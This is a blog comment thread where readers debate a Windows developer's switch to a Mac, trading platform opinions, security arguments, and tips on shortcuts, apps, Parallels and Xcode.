Good story. Mine is similar except that I grew up on UNIX. I was a developer for IBM back in the 80s and 90s. I left IBM to ride the dot-com wave, and everyone used PCs except for the goofy artsy guys in the graphics dept.
I hated the PCs, but I never tried the macs. Windows felt like a crippled little runt of an OS compared to UNIX. Then I heard that Macs were unix based. I didn't believe it, but after a demo, I bought one and fell in love with it. I'm home again!
Kuda Boalha said…
cant wait to hear what you have to say about the performance in regards to having your development environment on it.
Anonymous said…
I guess I still don't understand the draw to Mac. They look pretty, yes, and they do what they can do well but what they can do is pretty limited.
A lot of people I know love Apple because they have this illusion that they don't, and won't ever have to deal with viruses. 2 things to point out with that. Right now, Mac is living on security by obscurity. Second, running Windows, you won't see a single virus unless you, the user, don't know what attachments to not click on and what phishing links look like. Randomly getting a virus doesn't happen.
I work in the business of Desktop Support and we troubleshoot both Mac OSX and XP and one thing I really enjoy with a Mac is that when their is a problem, it seems to fix itself, but when the thing really breaks, It's a rough ride to getting it working again.
Another thing a lot of people love to complain about with Windows is all the bloat-ware that comes with it. You as a Windows developer should know how to format a hard drive and get a clean install. Others need not do more than a bit of research to educate themselves on how to remove most, if not all of it.
I guess I don't see what the draw to Mac is. It can't do as much. The Hardware is more expensive and upgrading is a joke. From a functional perspective, they are grossly inferior.
I guess if you are just getting into the world of computing, they are easier to use but as a user from the days of 3.0, I couldn't see me switching to Mac OSX.
Anonymous said…
Congrats on the new mac. Shortcuts will become second nature in no time, but what's bugging me is what kind of techie protects his network with WEP? You might as well just leave it open.
Anonymous said…
Wow, I thought it's just me.. More interestingly, I also work for Microsoft as a contractor. Michael, did u bring your Mac when meeting with the client ? :)
3DP said…
I'm an architect who's office is heavily invested in Autodesk products. They won't work on a Mac without Bootcamp or something similar...and we spend too much of our day in Autodesk stuff to make it worth it.
We've checked out the architectural software available for the Mac - and it's all worse than Autodesk (not to mention the headaches of trying to transfer files between engineering consultants).
We're stuck with MS. So far, we're OK staying with XP. I'm afraid of the day we're forced to Vista.
Anonymous said…
Your review didn't mention anything substantial about using your new mac. Yeah, it's pretty and sleek. Does it let you do the things you want to? Does it let you develop in the way you want?
Rob said…
I switched to Mac about a year ago, and there's no looking back. I feel like all those clock cycles that are eaten up by AV/AS programs are liberated again. And since OS X, Macs coexist perfectly in UNIX/Linux development environments, and all the Open Source programmers I know have Macs. Apple doesn't market that part of Macs, but maybe they should. Oh, and need windoze still? Use Parallels. I can test web pages on almost any browser all on one machine. Try that with a windoze PC!
Jack Hubbs said…
I am a PC developer that has been in recovery for many years. I still use the PC at work as a network analyst and Microsoft AD administrator. I got frustrated with my home PC when every time my wife wanted to use it there would be something I would have to do for it to work for her. I switched to a Mac Pro last August after a year of investigation. Love it, love it, love it. My only gripe is the difference in how MS and Apple handle window resizing. At first I found myself looking for ways to do things on the Mac that I could do on the PC. That did not last long. Now I'm looking for ways to do things on the PC that I do with ease on the Mac. Give yourself some time, I'm sure you will really come to enjoy it.
Unknown said…
In your article, you mentioned you keep an ubuntu workstation around...
I dont know if you get into any linux internals or make use of the command line, but if you have any traces of unix geek in you, you should be at home in OSX. Its got all the good unix stuff in the back, and a very nice terminal app, along with its polished front end.
Check out darwinports or fink... this will give you the BSD port system and/or apt-get (just like ubuntu/debian) for installing OSS software.
Anonymous said…
This is not a blog about anything. What? you like the keyboard and you have to push alt instead of ctrl? What about when something around you on the network stops working... try and troubleshoot it with a MAC.
I agree, for basic, home users... Mac's are fine. But anyone that weighs out the whole comparison with a neutral attitude will see that Windows is far more complete than MAC.
Jack Hubbs said…
Dear Anonymous:
I don't use my Mac for business, but I could easily. I'm currently running XP Pro in bootcamp and through VMWare. XP works better on my Mac than my Dell.
Anonymous said…
i was hoping for a slightly more substantive comparison as far as actually developing software on the two platforms instead of "wow its a neat machine, i open the lid and i already start feeling better" ..
you could have compared:
* programming environments
* api's
* the ease of getting things done
you know stuf that really matters for a developer ...
Jack Hubbs said…
I guess when you run out of valid arguments you switch to name calling. I'm crushed.
MCAndre said…
I'm starting to make software, so it's great that Macs come bundled with Perl, Java, Python, and Ruby. I think it's stupid that Microsoft charges for the full version of Visual Studio. Apple's idea is perfect: give away Xcode, and people will make more software for the Mac. I've built software for Linux, Macintosh, and Windows and the most fun is had on the Mac side.
Anonymous said…
hi david! if you are into keyboard shortcuts and navigation, you might check out Quicksilver. it's hard to describe, but is kind of a hybrid CLI/GUI headsup display. free and opensource, natch.
felno said…
im a geek, but only in a way where it actually provides any real value to me. Aesthetics are irrelevant to me, price, functionality and software is my main choice.
I cannot fathom the corporate love people give apple, i dont care how good they machines are, it creeps me out when people say how their apple just "looks so nice". Do you need a larger sign to display your public shallowness? Was it coincidence that the movie fight club picked on apple specifically? nope.
if anyone ever said to me than an advertisement "spoke" to them, i would immediately ban them from talking to me ever again :D
Let me check, this laptop appears to be a gateway, my other PC is a home build and I have zero brand loyalty to anyone or anything. Price and specs etc are all that make my choice for me.
dont get me wrong though, I think OSX is a great OS and macs should have a larger share of the market, ideal for those who've had windows traumas over the years :) or just want a change etc.
but spyware and viruses? I run AVG with firefox/thunderbird and im all clear, as are most people i know who use that setup :)
Anonymous said…
Well, I hope you enjoy your temporary freedom from virus, but what happens if/when Apple becomes as popular as Windows? You'll have the same instability problems as everyone else.
Anyway, you want a real change? Do what I did and ditch your Macbooks and Laptops and pick up a nice HP2710P Convertible Tablet. You'll spend hundreds less, and be able to do much more than any Mac/Laptop user can.
Cody Fitch said…
I don't know why the people that haven't used Macs say they are limited? Limited in what? I work in IT in a small corporation. I am also the online tech. I am the only one in the company that has a Mac (MacBook Pro) and I have no problems with compatability at all. This is in a network of almost 40 machines all running Windows XP. I can still do remote access, access our server and make changes and do everything a PC can do, but more efficiently. I have XP running on boot camp, but I only ever use that to play games.
Anonymous said…
Heya - I too am a web dev and just switched from PC to Mac a couple weeks ago. A BIG "Gotcha" to watch out for though is that when you're copying a folder named "music" that has 3 albums in it over top another folder named "music" that has 300 albums in it *the 300 albums will be replaced by 3 albums*. In Windows it offers the option to merge the contents of both folders. On the Mac it simply replaced the whole folder. I just got stung by this yesterday and now have to re-rip a bunch of my music fom cd. PAIN IN THE A$$!!!
Anonymous said…
Nice rationalization, but just FYI you could have downloaded Safari for Windows to test your web apps in the Safari browser.
I disagree, a non-technical person would be confused by the technical term "WEP Key" -- WEP, WPA, WPA2 ... non-technical people don't care. It's password, always password. Nice and simple, and nice job by Apple's desginers. I recently bought an Airport Extreme base station it was a painless experience getting it up an running; much easier than any LinkSys, Belkin, or D-Link router I set up before. Apple knows what they're doing when it comes to usability.
Nice article -- please write more!
Anonymous said…
Clowns who thinks I couldnt own their unix derivative OSX boxes are SOOOOOO mistaken. Apple has only enjoyed "security" until recent years thanks to their black box os obscurity. Get a clue you tubby virgins, apple is the emo of computers. Sure theres some cute one that I would bang on, but nobody wants to put up with its limited usefullness very long.
Anonymous said…
Ubuntu is better than MAC. Same warm fuzzy feelings and Virus free environment, but it's much easier to find software to make it useful in day to day operations.
When it's all said and done though, when I'm busy... I run to my windows box because nothing can compare to it for productivity.
Shawn Frame said…
The "Command-Right arrow" works fine in Aqua, but not in terminal.
In terminal you would use CTRL+E to place your cursor at the end of current line. Alternately, you can use CTRL+A to go to the beginning. These commands work in both UNIX and Aqua environments.
Have you tried developing on the Mac with Xcode? I am curious what your opinion would be of Cocoa, from the perspective of a Windows developer.
And if your not familiar - Textmate is an amazing text-editor for the Mac.
Good luck with your Mac.
Anonymous said…
As a long time window user I too have recently made the OS switch...to Ubuntu. I have friends that are hard-core OSX fanboys (and girls) that have tried to convert me for years, but the nitpicky things I cant stand on a mac are much worse for me than the nitpicky things on windows. Recently a friend of mine showed me Ubuntu and all became well with the universe. With a few technical (but easy to figure out) steps I've managed to find an OS that combines the best of both systems without having to pick a side on those ridiculous PC vs mac commercials. I find it odd that you mention that you have Ubuntu, but dont discuss it beyond that...
Anonymous said…
i dont understand how this argumment about MAC vs PC is really MAC vs Windows. and all the problems any new or old mac user has had with a windows based PC do not have anything directly to do with the operating system, ok, sometimes it does. as for spyware/antivirus, i ran XP PRO for 7 years, same install the whole time, no antivirus or spyware needed, im smarter than that. I now run VISTA Ultimate. again, no AV software or spyware, i just dont click on what gives it to me. as part of my job, i have to troubleshoot the mac OS on a daily basis, and as far as im concerned, its messy in terms of where what you need is. yeah, ill have to say the same about vista, but about 10 minutes of tweaks its perfect.
Anonymous said…
I was hoping to see more comparisons, not just the 'feel good stuff'. I work as an Interactive Designer in the advertising industry and everyone in my department uses a MAC. That is everyone except for me. I don't need computer hardware to inspire me, I need a tool that I can use when I'm feeling creative.
I'm looking forward to seeing more substantive comparisons.
Abid Hussain said…
I'm a Windows developer and have been studying for my MCTS using a Macbook with Visual Studio 2005 (C#). I gotta say, the thing I really love about it is that I can use my Windows development apps in a Sandbox (using Parallels). It doesn't slow the machine down, it runs at full speed.
So I guess any comparisons between APIs, SDKs and the like is irrelevent , because you can do full on Windows software development .
The advantage, of course, is that when Windows acts like a bitch (which it often does), you can do the obligitary reinstallation of Windows, without having to worry about losing a weekend reinstalling all of your apps.
Anonymous said…
oh, and if you dont like the eject buttons and the cheap build quality of your pc, DONT BUY LOW END CRAP! ie HP. go to a normal computer shop and buy a custom pc, cheaper, faster, no crap on it. BIG BOX stores PCS are crap.
Anonymous said…
To all the Viruses Are Around The Corner folks...
Wrong. The reason it's so easy to write viruses for Windows is that you can write processes to run as System which is a higher access level than Administrator. The security of Windows is simply borked because the kernel at it's core is single machine, not networked (see also 3.1, NT). On OS X (and just about any properly (i.e. you didn't touch it)) *nix to do anything out side your /~ directory you need to be root (or su sudo et al). So for a virus to work the way you'd expect it to the user would literally have to put an Administrator password in. That's severely limits the effectiveness of a virus I'd say.
I used to be a big Windows and Linux guy but now I've moved to Mac OS X and FreeBSD. BSD Unix (OS X included) is a lot faster and more cleanly written than Linux and Windows.
For me, Mac OS X is the new Microsoft Windows and FreeBSD is the new Linux. Windows Vista is Microsoft's very sad attempt to create a OS X like operating system.
My Dad is very sadly a Windows developer. Its hard to get him to convert to using Mac, FreeBSD, C/C++, and Java. But even HE HATES Vista. About everyone I talked to hates Windows Vista.
Yes, Java runs on OS X and FreeBSD. It is much faster than running Java on Linux.
With that being said, long live: BSD (OS X is Mach BSD), C/C++, and Java! Mainly because my software engineering experience has been using C/C++ and Java where the target production environment is Unix/Linux.
I'm going to dump my Windows XP desktop in favor of FreeBSD and later on buy a Mac Desktop along with Office on Mac.
What I hate most about my job is that my company forces all software engineers to use Windows XP. I'd rather have an OS X box.
My personal preference in terms of O.S would be:
Mac OS X, FreeBSD, Linux, Windows.
Jeremy said…
Mike, you don't get the attraction to a Mac because you're not giving it a chance at all. You've already decided against all empirical evidence that the Mac is a toy you can't upgrade or do anything with. Yet you're in a forum filled with programmers and artists who have switched to the Mac with only minor hiccups.
Here's the thing, Mike. A Mac is not a shiny PC that can't be upgraded. It's not virus free because of obscurity, either. It's inherently more secure due to UNIX (although not impervious!) and you don't NEED to upgrade a Mac hardly ever-- it comes with everything in the box. You need to break free of your preconceptions. I know it sounds trite but it's the truth. What is the worst thing that happens? You either try it out and like it, or you stick with your old Windows box. You only stand to have a better experience, not worse.
Anonymous said…
I'm a little younger than you, so I was growing up and doing DOS/Windows coding as my childhood hobby in about the same timeframe you're describing. Perhaps I can describe what I like better about OS X in a way you can understand.
I've been coding c# in Parallels since it came out and love it, but many many times I've seen Windows hanging while my OS X cpu is at 0%.
I'll give a little code example of how to screw up windows, that I KNOW you've done at least once (and got a bluescreen in Win98).
// I'm rusty so this is psuedo-c++
int WinMain(...)
while (GetMessage(&msg,....)) {
int WinProc(Message msg, ...) {
while (true) { }
This will hang the windows message pump. I'm 99% positive this is what's happening when I see Windows hung but my computer idle. If this message pump is truly pre-emptive, then I guess it must be launching these guys in threads and waiting for a timeout (seems to be the case).
I never get this crap on OS X. I've never taken the time to understand how the OS works behind the scenes (I've been doing this for a living since making the switch, time is money) but apps clearly don't hang one another. The OS itself rarely crashes, and when it does, I'm usually doing something pretty crazy involving hardware with 30 apps open.
I'm hoping that gives you some quantitive insight into what users are liking about their Macs but can't put into words.
Anonymous said…
I do not understand what you gentlemen are discussing here. I use Xubuntu :-)
Anonymous said…
Two things:
1. There's a system wide help file that actually works very well for the MAC OS X (type "command ?" and it'll come up from the finder or what ever application you had up front and running.
2. Keychains and Airport automatically logging in your WiFi.
go down to the dock (bottom of the screen)
find the gray preferences panel (big apple on it) > go to the network preferences > airport. Your automatic login network prefs are in there with PW for locked networks.
once you have entered in the information you can choose to fully connect fully automatically or ask for a keychain password that will authenticate you as the user and open up all the passwords and certificates.
Don't forget that if you're serious ... you can use the terminal application and control everything with BSD Unix commands -that's how my hacker friends use their macs.
Unknown said…
Go try Quicksilver! Oh and don't forget tell your daughters about it.
Another cool app is finderpop:
They are the first things I install on any new Mac.
Anonymous said…
I really dont see how, in my personal experience, mac is better.
I have a C2D 2.4ghz, 4 gigs of ram and a 8800gt, with over 500 gigs of disk space on windows Vista Ultimate.
Its been a year and its still going strong. I browse all over the internet, do some hardcore gaming and watch HD movies, as well as some hobby 3d rendering and Photoshop. This thing has only crashed 2 times; due to a scratched disk and my outdated dvd drive. Thats it.
So when people complain about viruses, spyware, lots of crashes, yada yada... Is what I am experiencing... not normal?!
I really dont see how Mac is better. I can do... much more on this windows machine. But thats just me I guess :)
Unknown said…
Oh here's the video demo of Quicksilver.
David Alison said…
Thanks for all of the comments folks. I'm a little shocked by the response frankly. Couple of things:
The review is light because I wrote it the first day I got my Mac. If you look through my blog you'll see that I post nearly every day so there is more detail as I go along.
I don't work for Apple... or anyone else right now. So no shameless plugs here.
I don't hate Windows (well, I hate Vista at times but I really like Windows XP). I'm not in any specific camp, though I was a Mac hater for a while. I guess I've just outgrown the hate phase.
I'm writing the blog because I wanted to share my experiences. Writing is cathartic for me and when I'm not writing code this is one of the things I do.
That said, I hope you actually do enjoy reading the blog and find something useful in here.
Unknown said…
When folks ask me why I prefer OSX over windows I don't have any trouble at all coming up with an answer aside from "feeling": UNIX
Course the next question is "Why not linux?", to which the answer is equally easy: Applications and commercial support.
That about sums it up.
Jeff Siler said…
As a long time windows user, ive had some problems transitioning to OSX font smoothing. Whenever I look at it it seems blurry to me. I go back to my PC and it looks fine.
Got any tips?
Shawn Frame said…
Fiddle with the setting in the Appearance Pane of your System Preferences.
Unknown said…
I run a small photography studio for a living, five Windows XP boxes networked together with two printers. I have a terrabyte drive in one that is shared so all my computers can access customers images, as well as our daily calendars, thus making my network the center of my business. When something goes wrong, I get a long line of upset people who were expecting to see and buy pictures, but instead get to come back another day.
I'm not a developer, coder, programmer, or anything like that. I'm a guy that has to deal with the equipment my boss purchased without any support or help, no IT department at all.
An earlier comment hinted that, when network things go wrong in XP, it's easy to fix. I'd love for you to come on by and show me how easy it is. Explain to me why, one moment, I can access a shared drive over a network, then, twenty minutes later, I can't. Nothing has changed, haven't touched a single thing, just one second it's there, and the next second...gone. Restart all the machines? Nope...turn sharing off, then back on? Nope....remap the network drive? Nope...wait long enough, and suddenly, oh, hey, it's back!
It's my humble opinion that computer should never have flaws for no observable reason. Computers are not people - they can not have "good" days and "bad" days. If you get to the point where you have to accept your computers "quirks," then you don't really have a computer, do you? It's more like having a crazy Uncle you always have to make excuses for.
But then, then I go home. I go home to my ancient 1Ghz G4 tower. It runs, it's always on my network, if I don't have internet access, it's always because someone turned off the lightswitch that controls the outlet that my hub is plugged into. I don't have viruses. I click on some of those spam e-mail links for fun, just to check out the bad grammar and spelling.
Someone above complained about how hard it was to upgrade a mac. Seriously? This thing has a freaking pull tab at the top, I pull it, the whole case opens with all the PCI slots just ready and waiting for new cards, all the drive bays way more accessible than any PC I've ever had to shove a drive into, and ram slots that even a child could figure out. You have a hard time upgrading a Mac? Do you have hands?
The bottom line is that Macs do not have the mysterious quirks and flaws that Windows have in spades. I don't know anything about how they are programmed, but it seems that, in the lower layers of things, Macs communicate internally much better than Windows. Settings are set in one place, and when they work, they stay working. My experience with Windows is the opposite.
Someday, my workplace will be all Macs. Years ago, we photographed an event for Apple. They never paid on the back end, and owe us $700. The day Steve Jobs himself comes and pays us is the day we get Macs, according to my boss. I dream of not having to spend a significant amount of time running from computer to computer trying to figure out the network problem, or why suddenly Photoshop won't run on a brand new Dell. Someday...
So there you have your "non-touchy-feely-squishy-advertising-embraced" explanation (albeit from a layperson) of why we prefer Macs.
Fred said…
The Mac OS is tied to the hardware and vice versa. Windows is not tied to any particular hardware and works with just about any setup.
Loving apple for the functionality of the OS when tied to one particular set of hardware is nuts. When you have one developer with no vendors, a perceived "hassle-free" environment is simple. Don't hate on Microsoft for giving you the freedom of using whatever hardware you want.
It's like saying you love living in communist China because you feel safe and you don't have to worry yourself about what the government is up to. (hey at least I'm not comparing Macs to Nazi Germany and invoke Godwin's law :D )
Adrian Hosey said…
David - Wait til you start coding for it! Make sure you have the newest version of XCode, the 3.0, which should be on your install dvd. XCode 2 was starting to lag behind Visual Studio but XCode 3 is slick, and Cocoa is really good.
Max Hawkins said…
I can tell some of those who have commented have never actually tried OS X at all. Believe me, I was one of the worst Mac haters around, but that changed after a Work Experience week with a guy who owned a MacBook Pro. I was impressed so I headed for the base-line MacBook. I mean, if I hated OS X, I could always just install Windows in bootcamp right? 6 and a half months later and Windows has never actually seen my laptop. For me, OS X is the kind of OS that I always wanted, but Windows never provided. Of course, I always thought that there was "obviously" no software or hardware for the Mac, a claim which is sounds ridiculous when I think it again today. Let me say as well that OS X definitely isn't perfect by any stretch. There are things that need sorting out here and there. I have grown quite fond of it now, and I am planning on getting a Mac Pro some time in the future.
Just remember, when you use OS X, don't expect it to be like Windows, because for the most part, it really isn't. And if you don't like after a while of using it? That's fine. I don't see why everyone has to flame each other over something as simple as an Operating System.
eboy said…
The real question is why you wouldn't use a mac.
Why would you use xp???
ben said…
I wrote "Reflections on a month of MacBook experience" a while back.
There's no way to reliably disable font anti-aliasing in 10.4+. The best you can do is to update your eyeglass prescription (definitely on my to-do list).
Though I've been non-partisan through my entire career (and most of my user tenure), my own feelings are right in line with David's. Twenty years of using Microsoft operating systems gets you into a certain groove, and adjusting to other window managers is painful. Latest annoyance: ergonomically, the same macro that toggles fullscreen video on the Mac, opens the File menu on Windows.
You'd think that with all this promotion of Switching, Apple would've given at least some thought to the experience that guys like David and I would have; if nothing else, those of us with a predilection to vi or emacs also figure out that the Mac is a phenomenal platform for writing code.
But nooo, the Steve In Black is an arrogant bastard.
Jay said…
Will you be doing any native (Cocoa) development on the Mac? As a developer who professionally works on many platforms, but really, really likes developing on the Mac, I'm always curious to hear the reaction of other developers learning Cocoa.
ben said…
Oh, and for those who wonder why XP is not really Good Enough (and who can't be bothered to read the Chris Pirillo link upthread)... skipping (most of) the bits about security, here's a list:
* Even if you don't have admin privs, you can actually USE a Mac without grief
* Safari is a Ferrari next to the overfull wheelbarrow that is Internet Explorer
* Defrag? Tee. Hee. Hee.
* Apache out of the box. Woohoo!
* None of this frakkin' workgroup nonsense.
* So. Very. Quiet.
* In the unlikely event that you'll need to use a three-fingered salute, it will actually work.
* The OS does NOT try to do your thinking for you.
Anonymous said…
I wouldn't say I love it, but I like to use it once in a while. I have a white macbook that I bought out of my curiosity. I think, it doesn't matter which os that we are using as long we can get full productivity in using it.
Travis Ritch said…
Welcome aboard, brother!
Anonymous said…
WHOOOO HOOO Virginia Tech! Im a Hokie as well (class of '09) and I'm saddened by other depts. (Including my COE) in their rejection of anything non windows when there is actually a good amount of OSS floating around the university.
Sure you daughter got MS Office for only about $50 or so but isnt Neo/OpeenOffice free?
Also VT has SystemX. Essentially 1,100 apple servers running YDL networked together to make a supercomputer with out the super price tag.
And to all the anons flaming, why piss on other peoples parades eh? they sure arnt making you switch.
Anonymous said…
I made the move 2 years ago after finally giving up on Microsoft and Windows. I now own an iMac, a macBook Air, and an iPhone. I have been so very happy ever since. Now, i still develop on the MS platform, but spend much more time now developing for with XAMPP and XCode Objective C. Glad to hear the word is spreading. I have become a Apple preacher of sorts in my local group of influence and tell everybody of the hassel-less ease of use with the Mac line up. Take care. Great article.
jcr said…
"towing the fanboy line"
The phrase is "TOE the line", as in, making sure that your feet are exactly on the line where they should be, such when standing in military formation. "Towing" the line makes no sense.
taelor said…
I just love the native BSD environment thats built into OS X. As a developer and an Ubuntu user, you gotta know what I'm loving about that.
Unknown said…
why is this world so dicotic? I love my win2k3 server at work and my XP at home. and I really like the Mac and mess with terminal in my friends computer.
I have a palm sized computer that runs OS X and I love that damn little thing. (iPhone)
Robert said…
So does anyone have experience with using Visual Studio.net on the mac (dual boot os) ? And I've read that the macbook gets very hot...anyone?..Thanks
Unknown said…
Above, Fred hits the nail on the head, though he does hit it the wrong way. The magic idea from that is that Macs work because they are for one set of hardware. But he presents it like that is the drawback to OS X.
What is the point of choosing an OS that is flawed on any piece of hardware over an OS that works almost flawlessly on one set of hardware? I'd choose the OS that works any day - and therein lies the argument.
I have a VW, and the steering system for the VW is made by...VW. I wouldn't want to put a GM steering system in it, have it work with lots of flaws (e.g. "sometimes, if your headlights are on, for some reason, when you turn left, it goes right and you crash"). I certainly wouldn't run around touting my death trap as superior simply because I can use a different steering system with the car.
If Microsoft made hardware to go with it's software, hardware that didn't act funny, or mysteriously stop working, I might buy that computer.
It seems to me that this would drive any developer nuts - don't you have to do extra work to make sure every possible thing some idiot like me could shove into his PC will work with your piece of software?
I know this is forum is mostly for developers, which I am not, so I'll stop commenting and stick to reading what they guys that make all this stuff have to say.
Drax said…
I'm a admin who supports both macs and pc's and I have to say without a doubt my favorite mac feature is "Target disk mode" Just hold the T ley down on boot and you've converted your machine to a firewire drive. Such a simple but smart and incredibly useful feature. I can't count how many times I have been troublshooting a windows machine, or exchanging large files between two machines quickly and wished windows machines had the same ability.
Phil said…
I love when people say Mac's are less prone to viri. If anyone has been following the iPhone jailbreak/unlock cat/mouse game that's been going on, this is a prime example of how OSX can easily be infected with a virus. Poor coding techniques that lead to buffer overflows in processes running with elevated permissions is the key. The whole TIFF exploit that existed in Mobile Safari on the iPhone and Safari on OSX could have easily been used to install malicious software on a Mac, hence the iPhone jailbreak. Instead of breaking out of the jail you could have easily wiped the contents of the iPhone / OSX partition.
To put it simply, if a program runs at elevated permissions (read: system services)and it isn't carefully checking user data it writes to memory, then running arbitrary code (even without user intervention) is a possibility in ANY operating system, on ANY platform.
If you were to write viri for profit then of course you're going to target the largest crowd you can (ie: Microsoft Windows).
Just my $0.02.
If it were up to me Apple would stick to designing hardware and user interfaces. Leave the hard core productivity software up to Microsoft.
Anonymous said…
I started off on PC as well. HP specifically. I was a hardcore PC guy until art school when I was forced against my will to switch. No I own a dual G5 at home that I do web, video and graphics work. I have an iMac and dual G5 at work (advertising), an iPod and iPhone and wouldn't switch for anything. It's great fun listening to my boss and our account execs bitching about computer issues. Except for one bad apple (!) in the office, all of our Macs work without a glitch.
To 3DPeruna who talked about using Autodesk, my wife is a designer and spends all day with Cad and Revit. She's setting up a home office and is doing so with an iMac, the big 24" one. Of course she'll have to get XP Pro for it to run her applications, but from what I understand, it'll still run better then on a PC. At least we won't have to deal with the crashes, virus and spywear protection and all the other random crap and headaches her Dell comes with.
Tony said…
Going from Visual Studio to XCode 3 is like switching from riding in the back of a limo to foot-powering your own rusty pedal cart.
You can still get where you are going, but its a lot slower and more painful.
Taizy said…
I am a long time Apple user and I recently bought a PC- Dell laptop
Although there are things I like about it and it is good to have two platforms around ( my husband has a macbook). I hate the pop ups and virus stuff. I can't figure out how to trouble shoot. I hate Windows vista.
Never again ..........I am going to swap with my husband and let him us this for writing letters.
Jason said…
I am a long-time Windows and DOS user who used a Mac at work when it was OS9 and wasn't terribly impressed (though I always admired their simplicity). In November, I replaced my wife's HP laptop with a Macbook Pro because of the glowing reviews Leopard was getting among non-techies and diehard XP users alike. I agree that Leopard is a really great operating system for home users. The more I use it, the more I prefer it to XP Pro. I'll never stop using Windows entirely, but I find myself using the Macbook more and more (to the chagrin of my wife). I have also tried various Linux systems, and I do think Ubuntu has lots of potential for things like home theater PCs -- but they need to make installing things like wireless cards much more automatic. All in all, I really think Leopard is the best home user operating system on the market. In my opinion, Microsoft would be better off conceding home users to Apple and focusing more on enterprise solutions.
Anonymous said…
By the way David, welcome to the dark side.
N/A said…
I was a C# Developer since 1.0 all the way through to its current release. I basically gave up Vista and PCs at the recent Developer Conferences. I even got myself a development job (writing java code :') ) it's safe to say that the switch was well overdue. Although eclipse is still a buggy piece of software. I must say it has never run smoother on Ubuntu/Suse/Windows then it does on my leopard an tiger macbook pros. I have to tell you though I have my machine setup with vista and os x and I only went back one time to play a video game when I got really bored of coding. Overall OS X is a well designed OS, although I still prefer windows file manager over finder. Oh and I am starting to figure out that there isn't really a lack of software for mac like most users complain about. That game is also on OS X I just don't have a copy of it for the mac.
Murdock Scott said…
Has anyone instructed you on how to perform the secret handshake yet? Have you special undergarments that protect you from viruses shown up via FedEx yet? Don't worry sometimes there is a backlog. : )
Welcome to the fold!
JRAddi said…
To approach keyboard nirvana try this:
re-map your caps lock to ctrl (in the mac keyboard settings)
learn the basic emacs ctrl- keys
b (back-left one char)
f (forward-right one char)
n (next-down one line)
p (prev-up one line)
a (begin of line)
e (end of line)
d (delete)
k (kill-delete to end of line)
These work in all Mac text fields. After a couple hours of learning them you'll never want to move your fingers from 'home' to reach for the lower left ctrl key or the arrow keys.
good luck
Anonymous said…
Hey David, welcome to the Mac community. You have a nice blog as well. Good luck in starting your new business. If you ever need some print/design work done for your business or other need, let me know!
Anonymous said…
Count me among those who were formerly die-hard Microsoft supporters now turned Mac-lovers. Switched last October, used Boot Camp for a while, then phased that down to VMWare... Now I can't stand to use windows anymore.
Travis said…
If you really get into the mac and start to have withdrawls when you got back to Windows development I recommend getting a mac pro or macbook pro and using VS under Parallels. I'm working on a pretty large .NET project that way and I love it. Anytime I need to search the web or check my mail I just change the space (I use Parallels in fullscreen assigned to it's own space) and do my work. When I come back I'm ready to get back into coding.
Parallels is also great for testing any type of client-server code since you can run the whole architecture on one box.
Thomas B said…
At Erhan Hosca:
"i was hoping for a slightly more substantive comparison as far as actually developing software on the two platforms instead of "wow its a neat machine, i open the lid and i already start feeling better" .. you could have compared: * programming environments * api's * the ease of getting things done"
Clearly correct.
And the comparison is shortly as follows(only my impression, not the truth in any way whatsoever). 1) Prog envir totally: Microsoft wins (previously "hands down", but now with Xcode 3 marginally). API's: huge win for Xcode (i.e. MacOSX), really huge, like very big. Getting things done: Xcode clearly wins (in my mind thanks-) to the "enforced" OOP model and the really excellent API's. The API philosophy comes from the NEXT time and are really good and solid. Also, the enforced OOP. I have to say that this OOP model was a big instep, but in the end a huge winning.
So, yes. Goes in the line with the article.
Dylan said…
I frequent a local (non chain) coffee shop that has free internet. The owner recently changed it so that he wasn't broadcasting the network ID. So now you have to do what you'd expect to be the simple task of specifying the name of the network. No one on a Mac has a problem doing this but the owner told me he estimates the success of Windows users at about 20%.
Last weekend I helped a couple of Windows XP users who were having problems. The confusion is that in Windows most people have 3 different interfaces for managing WiFi. There is the original XP interface where your network names are buried deep in dialogs. There is the improved XP interface that shows your available networks and their signal strengths on a more user friendly screen. Then, most confusingly, there is usually some third party utility from the network or laptop vendor that is set to override the Windows management. Your average user gets lost in all these conflicting interfaces.
In this case, I put the blame more with the laptop vendor that puts all their own system management crapware on top of Windows. But regardless, who, what, where, why doesn't matter to the end user. What matters is that 80% of Windows users in this coffee shop can't do something that should be so freakin' simple like specify a WiFi network name. This is an example of why I now strongly recommend Macs for most users.
Anonymous said…
I think Mac is great, for non-techies. I'd have to say Vista is garbage. I liked XP alot, but its old now. The winner to me is Ubuntu. It isnt perfected like Mac is, but on a Mac its like I am treated like a child, you are using one of those oversimplified touchscreens that won't let you do anything beyond the simple. It looks great but once you start digging you come up shallow. To me Mac is even more closed off than Windows. So I would go back to Windows before moving to Mac. Ultimately Ubuntu wins it for me.
Anonymous said…
Excellent post, I read the entire thing! :D
Thomas B said…
To some anonymous "zune browns" (relating to the avatar for anonymous on this page, nothing else):
Anonymity through obscurity is a myth today for Mac OS X. Like most UNIX systems, like MacOS X is a prime target today. At least for the true hackers, the hard-core really good ones. But less so for the poor hack-boys, using pre-made programs.
Will MacOS be hacked? Sure. Sooner or later it will. No question about it. But not that often (and hopefully severe) as has been seen for some other OS'es. In full thanks to the solid, long time work of many, many UNIX developers over long times. And thanks to the fact that Apple cherishes and values its UNIX heritage.
One more thing, Apple does well inter-playing with the open-source community. But I wish they would do even better in the future....
garagePunk said…
i use and LOVE both, always have, always will, at home and work. Im Bi when it comes to computers :)
Thomas B said…
In my last post:
"Anonymity through obscurity" should of course be "Security through obscurity".
My huge mistake due to the late hour here.
Sorry everyone...
Travis said…
Yes OS X on a Mac is virus free. VIRUS FREE. I don't understand who PC users are trying to fool with their 'proof of concept' mumbo-jumbo.
Macs are virus free. Deal with it.
(oh and spyware free and any other malware free too)
srobot said…
What "real" can you do on a Mac that you can't do on Windows? Best thing I know is Microsoft Office, which you can use in Windows!
Is it easy to write programs for?
I'm a computer programmer, so unless there is something for me, I'm NOT using a Mac, Windows and Linux is just fine for me!
I don't care about "oh, I feel so good. I have sooo much money, so I paid a ton of money for a Mac! Macintoshes are soooo good, Windows sucks, I tried putting Vista on my outdated Win95 box, and it did not work..." Heck! Try putting OSX 10.5 on your old 10.0 Crapintosh! I think that will work quite nicly!!!!!! NOT!!!
Please answer my questions! Anyone!
Thomas B said…
@ SpAzEr:
That is because you never tried anything else.
Like the author of this lovely blog article suggests, you do not know until you tested more than "the" only alternative. Broaden your horizons. Try other things than VISTA (and it's fore-bearers).
At lest, install aLINUX distribution (Ubuntu is a very good choice), free- or openBSD.
